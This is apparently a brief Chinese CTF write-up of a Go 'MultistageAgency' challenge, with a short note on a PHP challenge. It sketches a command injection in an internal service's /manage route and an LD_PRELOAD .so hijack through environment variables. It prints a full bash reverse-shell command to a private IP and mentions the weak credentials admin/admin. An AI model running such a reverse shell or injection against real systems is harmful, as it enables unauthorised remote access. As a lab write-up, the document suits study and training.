go_web
今天又是学爆guoke哥哥博客的一天
0x01 MultistageAgency
通过看源码 我们发现 这个题是三个服务
su - web -c "/code/bin/web 2>&1 >/code/logs/web.log &"
su - web -c "/code/bin/proxy 2>&1 >/code/logs/proxy.log &"
/code/bin/server 2>&1 >/code/logs/server.log &
9090 暴露出来的web端口
8080 proxy
9091 内网服务 server 有权限readflag
那开始看源码
先看外网服务 两个路由
/token getToken
{"success":"f0def9475b624655713b45f66448fe02","failed":""}
/upload 上传文件
没什么屌用。 环境变量
command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k)))
serever 路由
http.HandleFunc("/", getToken) //设置访问的路由
http.HandleFunc("/manage", manage) //设置访问的路由
command := exec.Command("bash", "-c", cmd)
命令注入 现在要想办法访问他。
到这里 是外部web的访问路劲:
通过环境变量LD_PRELOAD 拦截到我们要的so,然后来弹个shell。然后用安洵的生成一下超级shell绕过,打内网就可以了。(注意编译so的时候 要使用linux环境)
bash -i >& /dev/tcp/192.168.76.1/8080 0>&1
0x02 php
弱密码 admin admin
变量覆盖+include